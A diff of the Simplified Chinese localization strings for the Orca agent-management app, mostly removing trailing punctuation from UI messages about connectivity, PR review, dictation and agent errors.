+      "disableVpn": "关闭该 VPN，或启用分流功能／“允许 LAN”选项",
       "firewallTitle": "防火墙拦截端口 {{port}}",
       "linuxFirewall": "Linux: sudo ufw allow {{port}}",
-      "keepTailscaleOn": "100.x.x.x 或 *.ts.net 等主机地址通过 Tailscale 连接，请保持 Tailscale 开启。",
-      "macosFirewall": "macOS：系统设置 → 网络 → 防火墙，允许 Orca 通过。",
-      "notificationNetwork": "尝试切换到蜂窝网络或其他 Wi-Fi 网络。如果切换后能收到通知，则原网络可能导致通知延迟。",
+      "keepTailscaleOn": "100.x.x.x 或 *.ts.net 等主机地址通过 Tailscale 连接，请保持 Tailscale 开启",
+      "macosFirewall": "macOS：系统设置 → 网络 → 防火墙，允许 Orca 通过",
+      "notificationNetwork": "尝试切换到蜂窝网络或其他 Wi-Fi 网络。如果切换后能收到通知，则原网络可能导致通知延迟",
       "notificationsTitle": "推送通知",
-      "openDesktop": "桌面上的 Orca 必须保持运行才能接受连接。",
-      "pairAfterUpdate": "更新后可能需要重新扫描二维码配对。",
-      "reconnectWifi": "尝试在两台设备上重新连接 WiFi。",
-      "restartBothApps": "如果持续超时，请重启手机端和桌面端应用。",
-      "restartDesktop": "尝试重启 Orca，移动端连接服务会随应用启动。",
-      "restartTailscale": "iOS/Android 可能在无提示的情况下导致隧道卡住：请在 Tailscale 应用中关闭 Tailscale 后再重新开启。",
-      "restrictedNetwork": "公司或学校网络可能阻止 P2P 连接，请尝试使用个人热点。",
-      "retryHost": "返回主机列表，点按要连接的主机以重试。",
-      "sameNetwork": "两台设备必须处于同一 LAN（通过 Tailscale 连接时除外）。",
-      "sameSubnet": "以太网和 WiFi 必须位于同一子网。",
+      "openDesktop": "桌面上的 Orca 必须保持运行才能接受连接",
+      "pairAfterUpdate": "更新后可能需要重新扫描二维码配对",
+      "reconnectWifi": "尝试在两台设备上重新连接 WiFi",
+      "restartBothApps": "如果持续超时，请重启手机端和桌面端应用",
+      "restartDesktop": "尝试重启 Orca，移动端连接服务会随应用启动",
+      "restartTailscale": "iOS/Android 可能在无提示的情况下导致隧道卡住：请在 Tailscale 应用中关闭 Tailscale 后再重新开启",
+      "restrictedNetwork": "公司或学校网络可能阻止 P2P 连接，请尝试使用个人热点",
+      "retryHost": "返回主机列表，点按要连接的主机以重试",
+      "sameNetwork": "两台设备必须处于同一 LAN（通过 Tailscale 连接时除外）",
+      "sameSubnet": "以太网和 WiFi 必须位于同一子网",
       "tailscaleTitle": "无法访问 Tailscale 主机",
       "timeoutTitle": "连接超时",
-      "updateTailscale": "请更新 Tailscale 应用，近期版本修复了重新连接时的问题。",
-      "vpnRouting": "Tailscale 以外的 VPN 可能会将本地流量经由远程服务器转发。",
+      "updateTailscale": "请更新 Tailscale 应用，近期版本修复了重新连接时的问题",
+      "vpnRouting": "Tailscale 以外的 VPN 可能会将本地流量经由远程服务器转发",
       "vpnTitle": "其他 VPN 干扰",
-      "wifiSignal": "检查手机的 WiFi 信号强度。",
+      "wifiSignal": "检查手机的 WiFi 信号强度",
       "wifiTitle": "WiFi 网络不同",
-      "windowsFirewall": "Windows：Defender 防火墙 → 允许应用，允许 Orca 通过专用网络。"
+      "windowsFirewall": "Windows：Defender 防火墙 → 允许应用，允许 Orca 通过专用网络"
     },
     "troubleshootView": {
       "commonIssues": "常见问题",
@@ -1239,9 +1239,9 @@
       "unexpectedResponse": "响应异常"
     },
     "webShellUpdateFailureCopy": {
-      "blockedReason": "已阻止：{{reason}}。",
-      "blockedWorkspace": "已阻止打开工作区。",
-      "failed": "已显示失败界面。",
+      "blockedReason": "已阻止：{{reason}}",
+      "blockedWorkspace": "已阻止打开工作区",
+      "failed": "已显示失败界面",
       "failedAgo": "来自 {{hostName}} 的上次更新于 {{time}} 前失败：{{reason}}{{offered}}。{{outcome}}",
       "failedJustNow": "来自 {{hostName}} 的上次更新刚刚失败：{{reason}}{{offered}}。{{outcome}}",
       "hostCodeCopy": {
@@ -1252,10 +1252,10 @@
         "readLimited": "主机限制了并发读取数量",
         "unavailable": "主机上没有工作区资源包"
       },
-      "nativeRoute": "已显示原生界面。",
+      "nativeRoute": "已显示原生界面",
       "offeredGeneration": " （构建标识 {{generation}}）",
-      "openedCached": "已回退到保存的版本。",
-      "openedCachedGeneration": "已回退到保存的版本（构建标识 {{generation}}）。",
+      "openedCached": "已回退到保存的版本",
+      "openedCachedGeneration": "已回退到保存的版本（构建标识 {{generation}}）",
       "reasonCopy": {
         "assetChecksumMismatch": "资源校验和不匹配",
         "assetEntryChanged": "资源与清单不再匹配",
@@ -1274,8 +1274,8 @@
         "replyUnreadable": "此应用无法解析主机返回的响应",
         "unrecognisedError": "无法识别的错误"
       },
-      "routeUnavailable": "已显示界面不可用的提示。",
-      "waiting": "已进入等待主机状态。",
+      "routeUnavailable": "已显示界面不可用的提示",
+      "waiting": "已进入等待主机状态",
       "wallCopy": {
         "bundleShellTooOld": "此应用版本过旧，无法使用保存的资源包",
         "bundleTooOldForHost": "保存的资源包版本过旧，无法用于此主机",
@@ -1291,14 +1291,14 @@
       "alreadyActive": "电脑或另一部手机正在使用听写。请更新电脑上的 Orca，以便在多台设备上同时听写。",
       "cloudModelNeedsKey": "需要 OpenAI 密钥",
       "deleteFailed": "删除模型失败",
-      "desktopUpdateRequired": "请更新已配对的 Orca 桌面应用，以使用移动端语音设置。",
+      "desktopUpdateRequired": "请更新已配对的 Orca 桌面应用，以使用移动端语音设置",
       "downloadFailed": "启动下载失败",
       "loadFailed": "加载听写模型失败",
       "modelBusy": "另一台设备正在使用不同的语音模型听写。请等它结束后再试。",
-      "repairRequired": "请将此手机与电脑重新配对，以使用听写。",
-      "serverUpdateRequired": "请更新此服务器上的 Orca，以使用语音听写。",
+      "repairRequired": "请将此手机与电脑重新配对，以使用听写",
+      "serverUpdateRequired": "请更新此服务器上的 Orca，以使用语音听写",
       "sessionLimit": "这台电脑上正在听写的设备过多。请等其中一台结束后再试。",
-      "sessionLost": "听写与电脑的连接已断开。请重试。",
+      "sessionLost": "听写与电脑的连接已断开。请重试",
       "updateFailed": "更新听写设置失败"
     },
     "controls": {
@@ -1401,7 +1401,7 @@
       "waiting": "等待桌面…"
     },
     "fileMutationOwnership": {
-      "sshOwnerChanged": "无法验证 SSH 连接。请重新连接主机后重试。"
+      "sshOwnerChanged": "无法验证 SSH 连接。请重新连接主机后重试"
     },
     "filePreviewBody": {
       "emptyFile": "空文件",
@@ -1425,16 +1425,16 @@
     },
     "filePreviewScreen": {
       "backToFiles": "返回文件列表",
-      "chooseWorkspaceFile": "请选择此工作区内的文件。",
+      "chooseWorkspaceFile": "请选择此工作区内的文件",
       "discard": "放弃",
-      "discardMessage": "未保存的更改将丢失。",
-      "discardMessageSaving": "正在进行的保存可能无法完成。未保存的编辑将会丢失。",
+      "discardMessage": "未保存的更改将丢失",
+      "discardMessageSaving": "正在进行的保存可能无法完成。未保存的编辑将会丢失",
       "discardTitle": "放弃更改？",
       "fileTitle": "文件",
       "loadFailed": "无法加载预览",
       "loading": "正在加载预览…",
       "openFailed": "无法打开文件",
-      "saveArtifact": "保存终端工件",
+      "saveArtifact": "保存终端产物",
       "saveFailed": "无法保存文件",
       "stay": "留在此页",
       "title": "预览",
@@ -1442,7 +1442,7 @@
     },
     "filePreviewSourceText": {
       "previewLabel": "文件预览",
-      "truncatedNote": "预览已截断。文件大小：{{size}}。"
+      "truncatedNote": "预览已截断。文件大小：{{size}}"
     },
     "markdownPreviewImage": {
       "expandFallback": "放大图片",
@@ -1485,10 +1485,10 @@
       "updateDesktop": "请更新 {{desktop}} 上的 Orca，以使用自动化。"
     },
     "emptyState": {
-      "connectedDescription": "桌面将显示在这里。所有数据均采用端到端加密。",
+      "connectedDescription": "桌面将显示在这里。所有数据均采用端到端加密",
       "connectedTitle": "已连接",
-      "description": "与电脑上的 Orca 配对，即可在手机上查看智能体、进入任意终端并推进工作。",
-      "openDesktopDescription": "前往“设置” → “移动端”，生成配对二维码。",
+      "description": "与电脑上的 Orca 配对，即可在手机上查看智能体、进入任意终端并推进工作",
+      "openDesktopDescription": "前往“设置” → “移动端”，生成配对二维码",
       "openDesktopTitle": "打开 Orca 桌面应用",
       "scanCodeTitle": "扫描二维码",
       "title": "连接桌面"
@@ -1502,9 +1502,9 @@
     "screen": {
       "pairingCheckFailed": "无法检查配对状态",
       "removeHostFailed": "无法移除主机",
-      "removeHostMessage": "要移除“{{name}}”吗？之后可重新配对。",
+      "removeHostMessage": "要移除“{{name}}”吗？之后可重新配对",
       "removeHostTitle": "移除主机",
-      "tryAgain": "请重试。"
+      "tryAgain": "请重试"
     },
     "stats": {
       "agentTime": "智能体时间",
@@ -1539,11 +1539,11 @@
       "recordingFailed": "麦克风录音启动失败"
     },
     "useMobileDictation": {
-      "inputClosed": "此会话已不再接受输入，语音听写已停止。请重试。",
+      "inputClosed": "此会话已不再接受输入，语音听写已停止。请重试",
       "microphoneInitFailed": "麦克风初始化失败",
-      "microphoneInterrupted": "麦克风录音中断，语音听写已停止。请重试。",
+      "microphoneInterrupted": "麦克风录音中断，语音听写已停止。请重试",
       "microphonePermissionDenied": "麦克风权限被拒绝",
-      "noSpeech": "未检测到语音。",
+      "noSpeech": "未检测到语音",
       "phoneUnavailable": "此手机上的听写尚未就绪。请在语音设置中下载，或选择“自动”。",
       "phoneFailed": "此手机上的听写已停止工作。请重试。",
       "phoneBusy": "此手机上的听写仍在启动。请稍后再试。"
@@ -1552,16 +1552,16 @@
   "host": {
     "edit": {
       "address": "地址",
-      "addressHint": "支持 IP、host:port 或 ws:// / wss://。wss:// URL 未指定端口时使用 443。仅输入地址时保留当前端口（或使用 6768）。",
+      "addressHint": "支持 IP、host:port 或 ws:// / wss://。wss:// URL 未指定端口时使用 443。仅输入地址时保留当前端口（或使用 6768）",
       "connectionPreview": "连接到 {{endpoint}}",
       "goBack": "返回",
-      "help": "更改显示名称或连接地址。名称留空时，将使用桌面提供的名称。更改地址只会切换此手机的连接地址，不会重新配对。当同一桌面可通过不同 IP 访问时（例如家庭局域网与 Tailscale），可使用此功能。",
+      "help": "更改显示名称或连接地址。名称留空时，将使用桌面提供的名称。更改地址只会切换此手机的连接地址，不会重新配对。当同一桌面可通过不同 IP 访问时（例如家庭局域网与 Tailscale），可使用此功能",
       "hostNamePlaceholder": "主机名",
-      "hostRemoved": "此主机已从这部手机上移除。",
-      "loadFailed": "加载主机失败。",
-      "missingHost": "缺少主机信息。",
+      "hostRemoved": "此主机已从这部手机上移除",
+      "loadFailed": "加载主机失败",
+      "missingHost": "缺少主机信息",
       "name": "名称",
-      "saveFailed": "保存主机失败。",
+      "saveFailed": "保存主机失败",
       "saveHost": "保存主机",
       "title": "编辑主机"
     }
@@ -1592,9 +1592,9 @@
       "deleteKeepsEnvironment": "Orca 为其创建的环境“{{environment}}”会继续运行：其配方没有销毁步骤。",
       "deleteWorktree": "删除工作树",
       "pin": "固定",
-      "primaryWorktreeDeleteHint": "主工作树不能删除。请改为移除项目。",
+      "primaryWorktreeDeleteHint": "主工作树不能删除。请改为移除项目",
       "removeHost": "移除主机",
-      "removeHostMessage": "要移除“{{name}}”吗？之后可重新配对。",
+      "removeHostMessage": "要移除“{{name}}”吗？之后可重新配对",
       "sleep": "休眠",
       "unpin": "取消固定",
       "rename": "重命名"
@@ -1617,7 +1617,7 @@
       "agentActivity": "智能体活动",
       "agentActivityLayout": "智能体活动布局",
       "agentActivitySort": "智能体活动",
-      "agentActivitySortDescription": "需要关注的智能体，然后是最近的活动。",
+      "agentActivitySortDescription": "需要关注的智能体，然后是最近的活动",
       "agentStatuses": "智能体状态",
       "allHosts": "所有主机",
       "allProjects": "所有项目",
@@ -1637,7 +1637,7 @@
       "linearIssues": "Linear 议题",
       "manual": "手动的",
       "manualProjectOrderDescription": "拖动项目进行排列",
-      "manualWorkspaceOrderDescription": "拖动工作区以将它们排列在每个组中。",
+      "manualWorkspaceOrderDescription": "拖动工作区以将它们排列在每个组中",
       "name": "名称",
       "none": "无",
       "notes": "笔记",
@@ -1718,12 +1718,12 @@
       "silentName": "Orca 静默通知"
     },
     "notificationDeliverySection": {
-      "footer": "提醒类型遵循各个已配对桌面的通知设置。连续 7 天未使用此应用后，通知将暂停；打开应用并重新连接即可恢复。",
+      "footer": "提醒类型遵循各个已配对桌面的通知设置。连续 7 天未使用此应用后，通知将暂停；打开应用并重新连接即可恢复",
       "onlyWhenAway": "仅在离开桌面时",
-      "onlyWhenAwayHint": "键盘和鼠标均无操作达 3 分钟后，或锁屏时。",
+      "onlyWhenAwayHint": "键盘和鼠标均无操作达 3 分钟后，或锁屏时",
       "sound": "通知声音",
       "suppressWhileFocused": "查看时不提醒",
-      "suppressWhileFocusedHint": "不发送此手机上当前打开的工作区的提醒。"
+      "suppressWhileFocusedHint": "不发送此手机上当前打开的工作区的提醒"
     }
   },
   "onboarding": {
@@ -1731,16 +1731,16 @@
       "claudeNeedsInput": "Claude 需要输入",
       "codexFinished": "Codex 已完成",
       "now": "现在",
-      "testsPassing": "测试已通过。",
-      "waitingOnYou": "等待您的回应。"
+      "testsPassing": "测试已通过",
+      "waitingOnYou": "等待您的回应"
     },
     "onboardingPage": {
       "enableAgentNotifications": "启用智能体通知",
       "enableNotifications": "启用通知",
       "keepTerminal": "继续使用终端",
       "notNow": "暂不",
-      "notificationsDescription": "智能体完成任务或等待响应时，即使未使用应用，此手机也会收到通知。",
-      "notificationsDisclosure": "桌面空闲 3 分钟后，通过 Orca 的推送服务发送通知。可随时在“设置”中更改。",
+      "notificationsDescription": "智能体完成任务或等待响应时，即使未使用应用，此手机也会收到通知",
+      "notificationsDisclosure": "桌面空闲 3 分钟后，通过 Orca 的推送服务发送通知。可随时在“设置”中更改",
       "notificationsTitle": "智能体需要您时，及时收到提醒",
       "openInChatUi": "在聊天界面中打开会话",
       "openInTerminal": "在终端中打开会话",
@@ -1761,7 +1761,7 @@
     "commentCard": {
       "daysAgo_one": "{{count}} 天前",
       "daysAgo_other": "{{count}} 天前",
-      "deleteConfirmMessage": "这将永久删除 GitHub 上的这条评论。",
+      "deleteConfirmMessage": "这将永久删除 GitHub 上的这条评论",
       "deleteConfirmTitle": "删除评论？",
       "editPlaceholder": "编辑评论…",
       "hoursAgo_one": "{{count}} 小时前",
@@ -1779,10 +1779,13 @@
     },
     "commentsSection": {
       "comment": "评论",
+      "commentsLoadFailed": "无法加载评论。请点按刷新重试",
       "description": "描述",
-      "descriptionLoadFailed": "无法加载描述。请点按刷新重试。",
-      "noComments": "还没有评论。",
-      "noDescription": "没有提供描述。",
+      "descriptionLoadFailed": "无法加载描述。请点按刷新重试",
+      "noBotComments": "没有机器人评论",
+      "noComments": "还没有评论",
+      "noDescription": "没有提供描述",
+      "noHumanComments": "没有人类评论",
       "showMore": "再显示 {{count}} 条",
       "title": "评论"
     },
@@ -1797,14 +1800,15 @@
       "details": "详情"
     },
     "prActionsSection": {
-      "closeConfirmMessage": "#{{number}} 将被关闭，不会合并。",
+      "closeConfirmMessage": "#{{number}} 将被关闭，不会合并",
       "closeConfirmTitle": "关闭 PR？",
       "markReadyButton": "标记为可评审",
       "reopenAccessibilityLabel": "重新开启 PR",
       "reopenButton": "重新开启",
-      "reopenConfirmMessage": "#{{number}} 将被重新开启。",
+      "reopenConfirmMessage": "#{{number}} 将被重新开启",
       "reopenConfirmTitle": "重新开启 PR？",
-      "unlinkButton": "取消关联"
+      "unlinkButton": "取消关联",
+      "unlinkFailed": "取消 PR 关联失败"
     },
     "prActionsState": {
       "behindHint": "合并前更新分支",
@@ -1815,7 +1819,7 @@
       "changesRequestedLabel": "要求更改",
       "checkingHint": "GitHub 仍在计算此PR合并状态",
       "checkingLabel": "检查中",
-      "checksPassedHint": "检查已通过。合并资格将在合并前再次验证。",
+      "checksPassedHint": "检查已通过。合并资格将在合并前再次验证",
       "checksPassedLabel": "检查已通过",
       "closedHint": "此PR已关闭",
       "closedLabel": "已关闭",
@@ -1823,12 +1827,12 @@
       "conflictsLabel": "冲突",
       "draftHint": "这个PR仍然是一个草稿",
       "draftLabel": "草稿",
-      "mergeConfirmMessage": "这将把 #{{number}} 合并到其基础分支。",
+      "mergeConfirmMessage": "这将把 #{{number}} 合并到其基础分支",
       "mergeQueueAutoMergeOnHint": "该基础分支使用 GitHub 合并队列",
       "mergeQueueAutoMergeOnLabel": "自动合并已开启",
       "mergeQueueHint": "该基础分支使用 GitHub 合并队列",
       "mergeQueueLabel": "准备好后合并",
-      "mergeStackMessage": "GitHub 将合并此拉取请求以及堆栈中其下方的每个拉取请求。",
+      "mergeStackMessage": "GitHub 将合并此拉取请求以及堆栈中其下方的每个拉取请求",
       "mergeStatusUnavailableHint": "此 PR 的合并状态不可用",
       "mergeStatusUnavailableLabel": "合并",
       "mergeThrough_one": "合并 #{{number}} 及下方 PR · 共 {{count}} 个",
@@ -1846,24 +1850,24 @@
       "methodMerge": "创建合并提交",
       "methodRebase": "变基合并",
       "methodSquash": "压缩合并",
-      "queueStackMessage": "GitHub 会将此拉取请求及其下面的每个拉取请求添加到合并队列中。",
+      "queueStackMessage": "GitHub 会将此拉取请求及其下面的每个拉取请求添加到合并队列中",
       "queueThrough_one": "将 #{{number}} 及下方 PR 入队 · 共 {{count}} 个",
       "queueThrough_other": "将 #{{number}} 及下方 PR 入队 · 共 {{count}} 个",
       "reviewRequiredHint": "GitHub 需要评审批准才能合并此拉取请求",
       "reviewRequiredLabel": "需要批准",
-      "stackBehind": "#{{number}} 必须更新。",
-      "stackBlocked": "#{{number}} 已阻塞。",
-      "stackChangesRequested": "#{{number}} 被要求更改。",
-      "stackClosed": "#{{number}} 已关闭。",
-      "stackConflicts": "#{{number}} 存在合并冲突。",
-      "stackDraft": "#{{number}} 仍为草稿。",
-      "stackReviewRequired": "#{{number}} 仍需评审批准。"
+      "stackBehind": "#{{number}} 必须更新",
+      "stackBlocked": "#{{number}} 已阻塞",
+      "stackChangesRequested": "#{{number}} 被要求更改",
+      "stackClosed": "#{{number}} 已关闭",
+      "stackConflicts": "#{{number}} 存在合并冲突",
+      "stackDraft": "#{{number}} 仍为草稿",
+      "stackReviewRequired": "#{{number}} 仍需评审批准"
     },
     "prCheckDetail": {
       "annotations": "注释",
       "annotationsTruncated": "显示前 20 个注释",
       "jobsTruncated": "显示前 100 个作业",
-      "noDetails": "暂无详细信息。"
+      "noDetails": "暂无详细信息"
     },
     "prCheckDetailContent": {
       "annotation": "批注",
@@ -1891,19 +1895,20 @@
       "all": "全部",
       "bots": "机器人",
       "humans": "人类",
-      "noBotComments": "没有机器人评论。",
-      "noComments": "还没有评论。",
-      "noHumanComments": "没有人类评论。"
+      "noBotComments": "没有机器人评论",
+      "noComments": "还没有评论",
+      "noHumanComments": "没有人类评论"
     },
     "prSidebarCreateEmptyState": {
-      "branchNotLinked": "{{branch}} 未关联到开放的 PR。",
-      "currentBranchNotLinked": "当前分支未关联到开放的 PR。",
+      "branchNotLinked": "{{branch}} 未关联到开放的 PR",
+      "branchRequired": "创建 PR 前，请先检出分支",
+      "currentBranchNotLinked": "当前分支未关联到开放的 PR",
       "linkExistingPullRequest": "关联现有 PR",
       "linkedPrUnavailable": "关联的 PR #{{number}} 不可用",
-      "refreshOrCreate": "刷新以重新检查，或为此分支创建新的 PR。"
+      "refreshOrCreate": "刷新以重新检查，或为此分支创建新的 PR"
     },
     "prViewPanel": {
-      "branchUnavailable": "当前分支不可用。",
+      "branchUnavailable": "当前分支不可用",
       "githubRemoteRequired": "此标签页需要 GitHub 远程仓库才能显示拉取请求详情。对于其他受支持的平台，请在“更改”中创建审查，然后在浏览器中打开。"
     },
     "reviewerPickerDrawer": {
@@ -1915,6 +1920,7 @@
       "changesRequested": "要求更改",
       "commented": "已评论",
       "dismissed": "已撤销",
+      "loadFailed": "无法加载评审人。请点按刷新重试",
       "noReviewers": "尚未请求评审",
       "pending": "待处理",
       "removeReviewer": "移除 {{login}}",
@@ -1933,7 +1939,7 @@
       "messageModeLabel": "消息模式：输入后发送。切换到按键模式",
       "moreKeys": "更多按键和操作",
       "showKeyboard": "显示键盘",
-      "dismissKeyboardHint": "隐藏软键盘，并保持当前终端会话打开。",
+      "dismissKeyboardHint": "隐藏软键盘，并保持当前终端会话打开",
       "switchToDesktopMode": "切换到桌面模式",
       "switchToPhoneMode": "切换到手机模式",
       "pasteFromClipboard": "从剪贴板粘贴",
@@ -1971,7 +1977,7 @@
       "sendFailed": "发送恢复命令失败"
     },
     "aiVaultResumePreparation": {
-      "prepareFailed": "无法准备此旧版 Codex 会话。请重试恢复。"
+      "prepareFailed": "无法准备此旧版 Codex 会话。请重试恢复"
     },
     "backgroundTask": {
       "agent": "后台智能体",
@@ -1987,7 +1993,7 @@
       "countTasks_other": "{{count}} 个任务",
       "countWorkflows_one": "{{count}} 个工作流程",
       "countWorkflows_other": "{{count}} 个工作流程",
-      "detailsUnavailable": "此会话的任务详细信息不可用。",
+      "detailsUnavailable": "此会话的任务详细信息不可用",
       "outputFile": "输出：{{value0}}",
       "groupAgents": "智能体",
       "groupMonitors": "监控",
@@ -2037,7 +2043,7 @@
     },
     "bulkTabClose": {
       "confirm": "关闭标签页",
-      "description": "选中的标签页将关闭。固定的标签页将保持打开。",
+      "description": "选中的标签页将关闭。固定的标签页将保持打开",
       "titleEditors": "关闭所有编辑器标签页？",
       "titleLeft": "关闭左侧标签页？",
       "titleOthers": "关闭其他标签页？",
@@ -2062,7 +2068,7 @@
       "committedChangesFailed": "加载已提交的更改失败",
       "committedChangesUnavailable": "已提交的更改不可用",
       "committedDiffUnavailable": "已提交的差异不可用",
-      "desktopUpdateRequired": "请更新 Orca 桌面端，以便在手机上评审更改。",
+      "desktopUpdateRequired": "请更新 Orca 桌面端，以便在手机上评审更改",
       "diffLoadFailed": "无法加载差异",
       "reviewNotesLoadFailed": "无法加载评审笔记"
     },
@@ -2077,133 +2083,133 @@
       "unstaged": "未暂存"
     },
     "failure": {
-      "accountSwitchInProgress": "正在此主机上更改 {{agent}} 的设置。请在完成后重试。",
-      "agentCommandNotRunnable": "{{agent}} 在设置 → 智能体中的命令必须是 Orca 能找到的程序路径或名称，且不能包含参数或变量。请修改或重置。",
-      "agentCommandNotSignedIn": "请在运行此聊天的电脑上使用 `{{loginCommand}}` 登录 {{agent}}。",
-      "agentNotSignedIn": "请登录 {{agent}}。",
-      "agentStarting": "智能体仍在启动。",
-      "agentStillWorking": "智能体仍在工作。",
-      "answerUnconfirmed": "您的回答已记录，但智能体未确认。",
-      "antigravityNotSignedIn": "尚未登录 Antigravity。请在设置 → 账户 → Antigravity中登录，然后重新发送消息。",
-      "argumentsMissingValue": "已保存的参数需要为 {{option}} 指定一个值。",
-      "argumentsMultipleValues": "已保存的参数为 {{option}} 指定了多个值。",
-      "argumentsPositionalPrompt": "已保存的参数中包含提示词。",
-      "argumentsUnsupportedOption": "已保存的参数包含不支持的选项（{{option}}）。",
-      "attachmentAtMost": "{{agent}} 每条消息最多接受 {{limit}} 张图片，因此此消息未发送。",
-      "attachmentEmpty": "此消息中的一张图片为空，因此消息未发送。",
-      "attachmentInvalid": "此消息中的附件无法发送给智能体。",
+      "accountSwitchInProgress": "正在此主机上更改 {{agent}} 的设置。请在完成后重试",
+      "agentCommandNotRunnable": "{{agent}} 在设置 → 智能体中的命令必须是 Orca 能找到的程序路径或名称，且不能包含参数或变量。请修改或重置",
+      "agentCommandNotSignedIn": "请在运行此聊天的电脑上使用 `{{loginCommand}}` 登录 {{agent}}",
+      "agentNotSignedIn": "请登录 {{agent}}",
+      "agentStarting": "智能体仍在启动",
+      "agentStillWorking": "智能体仍在工作",
+      "answerUnconfirmed": "您的回答已记录，但智能体未确认",
+      "antigravityNotSignedIn": "尚未登录 Antigravity。请在设置 → 账户 → Antigravity中登录，然后重新发送消息",
+      "argumentsMissingValue": "已保存的参数需要为 {{option}} 指定一个值",
+      "argumentsMultipleValues": "已保存的参数为 {{option}} 指定了多个值",
+      "argumentsPositionalPrompt": "已保存的参数中包含提示词",
+      "argumentsUnsupportedOption": "已保存的参数包含不支持的选项（{{option}}）",
+      "attachmentAtMost": "{{agent}} 每条消息最多接受 {{limit}} 张图片，因此此消息未发送",
+      "attachmentEmpty": "此消息中的一张图片为空，因此消息未发送",
+      "attachmentInvalid": "此消息中的附件无法发送给智能体",
       "attachmentsExpired": "{{names}} 已过期。",
-      "attachmentLargerThan": "此消息中的一张图片超过 {{size}} MB，因此消息未发送。",
-      "attachmentNoSource": "此消息中的一张图片没有可发送的文件，因此消息未发送。",
-      "attachmentNotAFile": "此消息中的一张图片不是文件，因此消息未发送。",
-      "attachmentTooLarge": "此消息中的一张图片过大，因此消息未发送。",
-      "attachmentTooMany": "此消息包含的图片过多，因此未发送。",
-      "attachmentTotalMoreThan": "此消息中的图片总计超过 {{size}} MB，因此消息未发送。",
-      "attachmentTotalTooLarge": "此消息中的图片总大小过大，因此消息未发送。",
-      "attachmentUnreadable": "无法读取此消息中的附件，因此消息未发送。",
-      "attachmentUnsupportedType": "{{agent}} 仅接受 PNG、JPEG、GIF 和 WebP 图片，因此此消息未发送。",
-      "backgroundTaskNotStopped": "后台任务未停止。",
-      "backgroundTasksNotStopped": "后台任务未停止。",
-      "backgroundTasksRunning": "后台任务仍在运行。",
-      "cancelUnconfirmed": "未能确认是否已取消。",
-      "cancelled": "此消息在智能体开始处理前已撤回。",
-      "chatClosed": "此消息发送前聊天已关闭。",
-      "chooseClaudeAccount": "请在 Claude 账户设置中选择或添加一个。",
-      "chooseClaudeAccountThenRunCommand": "请在 Claude 账户设置中选择或添加一个，然后重新运行 /{{command}}。",
-      "chooseClaudeAccountThenSend": "请在 Claude 账户设置中选择或添加一个，然后重新发送您的消息。",
-      "claudeAccountFolderMissing": "所选 Claude 账户的文件夹不存在。请重新登录该账户或选择其他账户。",
-      "claudeAccountSetupFailed": "无法设置所选 Claude 账户。请重试或选择其他账户。",
-      "claudeEffortInvalid": "Claude 的推理强度无效；请选择 low、medium、high、xhigh 或 max，然后重新发送。",
-      "claudeManagedNotSignedIn": "此 Claude 账户尚未登录。请在 Claude 账户设置中重新登录。",
-      "claudeSystemNotSignedIn": "Claude 尚未登录。请运行 `{{loginCommand}}`，或在 Claude 账户设置中选择账户。",
-      "cliMissing": "在运行此聊天的计算机上找不到 {{agent}}。请安装它，或检查设置 → 智能体中的命令。",
-      "cliMissingInWslDistro": "WSL 发行版 {{distro}} 中未安装 {{agent}}。请在 {{distro}} 中安装它，或检查设置 → 智能体中的命令。",
-      "cliTooOld": "{{agent}} {{installedVersion}} 版本过旧，无法用于聊天。请更新到 {{minimumVersion}} 或更高版本。",
-      "codexManagedNotSignedIn": "此 Codex 账户尚未登录。请在 Codex 账户设置中重新登录。",
-      "codexSystemNotSignedIn": "Codex 尚未登录。请运行 `{{loginCommand}}`。",
-      "commandAfterAnswer": "请先回答智能体的问题或处理审批请求，然后再运行 /{{command}}。",
-      "commandRefused": "此命令未运行。",
-      "commandRefusedTryAgain": "此命令未运行。请重试。",
-      "commandUnavailable": "此命令在 {{agent}} 聊天中不可用，因此未发送。",
-      "compactionFailed": "压缩失败。",
-      "compactionFailedQuoted": "压缩失败：{{detail}}。",
-      "compactionUnconfirmed": "未确认压缩是否完成。",
-      "conversationOpenElsewhere": "Codex 仍占用此对话。请稍后重试，或关闭其他 Codex 终端。",
-      "conversationOpenInTerminal": "{{agent}} 已在另一个终端中运行此对话。请退出那里的 {{agent}} 或关闭该终端，然后在这里继续。",
-      "couldNotRestart": "{{agent}} 无法重新启动。",
-      "couldNotStart": "{{agent}} 无法启动。",
-      "couldNotStop": "无法停止 {{agent}}。",
-      "couldNotStopTheAgent": "无法停止智能体。",
-      "editSavedArguments": "请在设置 > 智能体 > 参数中编辑。",
-      "emptyMessage": "此消息为空，因此未发送。",
-      "fullAccessAsRoot": "{{agent}} 以 root 身份运行时不会使用完全访问。请在运行此聊天的计算机的“设置”→“智能体”中为 {{agent}} 选择其他权限，然后开始新的聊天。",
-      "historyInOtherAccount": "此聊天的历史记录位于另一个 Claude 账户中。请切换回该账户以继续此聊天。",
-      "historyTooLarge": "此对话的历史记录过大，无法在此恢复。",
-      "hostFault": "Orca 遇到问题，因此此操作未完成。",
-      "hostFaultTryAgain": "Orca 遇到问题，因此此操作未完成。请重试。",
-      "hostRestarted": "此消息发送前 Orca 已重新启动。",
-      "hostStopped": "{{agent}} 始终未完成启动，因此 Orca 已将其停止。",
-      "interactiveAgentNotSignedIn": "请在运行此聊天的电脑上启动 `{{loginCommand}}` 并使用 `{{slashCommand}}` 登录 {{agent}}。",
-      "launchFolderMissing": "此聊天运行所在的文件夹已不存在。请恢复该文件夹以继续此聊天。",
-      "launchPreparationFailed": "Orca 无法在运行此聊天的计算机上准备启动 {{agent}}。",
-      "managedAccountEnvOverride": "此次 Claude 启动设置了自己的 Anthropic 登录变量。请移除这些变量以使用受管理的 Claude 账户。",
-      "managedAccountUnsupported": "虽然已在 WSL 中添加 Claude 账户，但 Claude 聊天仍需使用 Windows 中的 Claude 账户。",
-      "modelUnavailable": "{{agent}} 无法使用 {{detail}}。请选择其他模型并重新发送。",
+      "attachmentLargerThan": "此消息中的一张图片超过 {{size}} MB，因此消息未发送",
+      "attachmentNoSource": "此消息中的一张图片没有可发送的文件，因此消息未发送",
+      "attachmentNotAFile": "此消息中的一张图片不是文件，因此消息未发送",
+      "attachmentTooLarge": "此消息中的一张图片过大，因此消息未发送",
+      "attachmentTooMany": "此消息包含的图片过多，因此未发送",
+      "attachmentTotalMoreThan": "此消息中的图片总计超过 {{size}} MB，因此消息未发送",
+      "attachmentTotalTooLarge": "此消息中的图片总大小过大，因此消息未发送",
+      "attachmentUnreadable": "无法读取此消息中的附件，因此消息未发送",
